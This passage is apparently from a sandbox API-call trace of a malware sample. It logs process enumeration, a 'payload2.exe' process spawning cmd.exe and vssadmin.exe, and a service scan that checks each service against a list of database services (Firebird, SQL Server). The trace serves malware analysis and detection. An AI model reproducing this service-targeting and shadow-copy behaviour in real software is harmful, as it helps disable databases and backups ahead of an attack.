dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0035.915] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0035.915] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0035.916] lstrlenW (lpString="word.exe") returned 8 [0035.916] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0035.917] lstrlenW (lpString="semestermeta.exe") returned 16 [0035.917] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0035.917] lstrlenW (lpString="reflects.exe") returned 12 [0035.917] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0035.927] lstrlenW (lpString="beveragesradios.exe") returned 19 [0035.927] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0035.928] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0035.928] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0035.928] lstrlenW (lpString="ground.exe") returned 10 [0035.928] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0035.929] lstrlenW (lpString="least.exe") returned 9 [0035.929] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0035.930] lstrlenW (lpString="meetings.exe") returned 12 [0035.930] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0035.930] lstrlenW (lpString="wooltestimony.exe") returned 17 [0035.930] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0035.931] lstrlenW (lpString="inexpensive.exe") returned 15 [0035.931] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0035.932] lstrlenW (lpString="er-amd.exe") returned 10 [0035.932] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0035.932] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0035.932] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0035.933] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0035.933] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0035.934] lstrlenW (lpString="mobsync.exe") returned 11 [0035.934] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0035.934] lstrlenW (lpString="dllhost.exe") returned 11 [0035.935] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0035.935] lstrlenW (lpString="dllhost.exe") returned 11 [0035.935] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0035.936] lstrlenW (lpString="payload2.exe") returned 12 [0035.936] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0035.936] lstrlenW (lpString="cmd.exe") returned 7 [0035.936] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0035.937] lstrlenW (lpString="conhost.exe") returned 11 [0035.937] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0035.938] lstrlenW (lpString="vssadmin.exe") returned 12 [0035.938] Process32NextW (in: hSnapshot=0x19c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0035.938] CloseHandle (hObject=0x19c) returned 1 [0035.938] Sleep (dwMilliseconds=0x1f4) [0036.699] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29fbc8 [0036.699] EnumServicesStatusExW (in: hSCManager=0x29fbc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0036.699] GetLastError () returned 0xea [0036.699] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x123e) returned 0x311da8 [0036.700] EnumServicesStatusExW (in: hSCManager=0x29fbc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x311da8, cbBufSize=0x123e, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x311da8, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0036.700] CloseServiceHandle (hSCObject=0x29fbc8) returned 1 [0036.700] lstrlenW (lpString="Appinfo") returned 7 [0036.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0036.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0036.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0036.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0036.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0036.701] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0036.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.701] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0036.701] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0036.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0036.701] lstrlenW (lpString="AudioSrv") returned 8 [0036.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0036.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0036.701] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0036.701] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0036.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0036.701] lstrlenW (lpString="BFE") returned 3 [0036.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0036.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0036.701] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0036.701] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0036.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0036.701] lstrlenW (lpString="CryptSvc") returned 8 [0036.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0036.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0036.701] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0036.702] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0036.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0036.702] lstrlenW (lpString="CscService") returned 10 [0036.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0036.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0036.702] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0036.702] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0036.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0036.702] lstrlenW (lpString="DcomLaunch") returned 10 [0036.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0036.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0036.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0036.702] lstrlenW (lpString="Dhcp") returned 4 [0036.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0036.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0036.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0036.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0036.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0036.702] lstrlenW (lpString="Dnscache") returned 8 [0036.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0036.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0036.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0036.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0036.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0036.702] lstrlenW (lpString="DPS") returned 3 [0036.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0036.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0036.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0036.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0036.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0036.703] lstrlenW (lpString="eventlog") returned 8 [0036.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0036.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0036.703] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0036.703] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0036.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0036.703] lstrlenW (lpString="EventSystem") returned 11 [0036.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0036.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0036.703] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0036.703] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0036.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0036.703] lstrlenW (lpString="gpsvc") returned 5 [0036.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0036.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0036.703] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0036.703] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0036.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0036.703] lstrlenW (lpString="iphlpsvc") returned 8 [0036.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.703] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0036.703] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0036.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0036.703] lstrlenW (lpString="LanmanServer") returned 12 [0036.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0036.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0036.703] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0036.703] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0036.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0036.703] lstrlenW (lpString="LanmanWorkstation") returned 17 [0036.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.704] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0036.704] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0036.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0036.704] lstrlenW (lpString="lmhosts") returned 7 [0036.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0036.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0036.704] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0036.704] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0036.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0036.704] lstrlenW (lpString="MMCSS") returned 5 [0036.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0036.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0036.704] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0036.704] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0036.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0036.704] lstrlenW (lpString="MpsSvc") returned 6 [0036.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0036.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0036.704] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0036.704] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0036.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0036.704] lstrlenW (lpString="Netman") returned 6 [0036.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0036.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0036.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0036.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0036.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0036.704] lstrlenW (lpString="netprofm") returned 8 [0036.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0036.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0036.704] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0036.705] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0036.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0036.705] lstrlenW (lpString="NlaSvc") returned 6 [0036.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0036.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0036.705] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0036.705] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0036.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0036.705] lstrlenW (lpString="nsi") returned 3 [0036.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0036.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0036.705] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0036.705] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0036.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0036.705] lstrlenW (lpString="PcaSvc") returned 6 [0036.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0036.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0036.705] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0036.705] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0036.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0036.705] lstrlenW (lpString="PlugPlay") returned 8 [0036.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0036.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0036.705] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0036.705] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0036.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0036.705] lstrlenW (lpString="Power") returned 5 [0036.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0036.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0036.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0036.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0036.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0036.705] lstrlenW (lpString="ProfSvc") returned 7 [0036.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0036.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0036.706] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0036.706] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0036.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0036.706] lstrlenW (lpString="RpcEptMapper") returned 12 [0036.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.706] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0036.706] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0036.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0036.706] lstrlenW (lpString="RpcSs") returned 5 [0036.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0036.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0036.706] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0036.706] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0036.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0036.706] lstrlenW (lpString="SamSs") returned 5 [0036.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0036.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0036.706] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0036.706] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0036.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0036.706] lstrlenW (lpString="Schedule") returned 8 [0036.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0036.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0036.706] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0036.706] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0036.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0036.706] lstrlenW (lpString="SENS") returned 4 [0036.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0036.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0036.706] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0036.706] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0036.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0036.707] lstrlenW (lpString="ShellHWDetection") returned 16 [0036.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.707] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0036.707] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0036.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0036.707] lstrlenW (lpString="Spooler") returned 7 [0036.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0036.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0036.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0036.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0036.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0036.707] lstrlenW (lpString="SysMain") returned 7 [0036.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0036.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0036.707] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0036.707] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0036.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0036.707] lstrlenW (lpString="Themes") returned 6 [0036.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0036.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0036.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0036.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0036.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0036.707] lstrlenW (lpString="TrkWks") returned 6 [0036.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0036.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0036.707] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0036.707] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0036.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0036.707] lstrlenW (lpString="UxSms") returned 5 [0036.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned 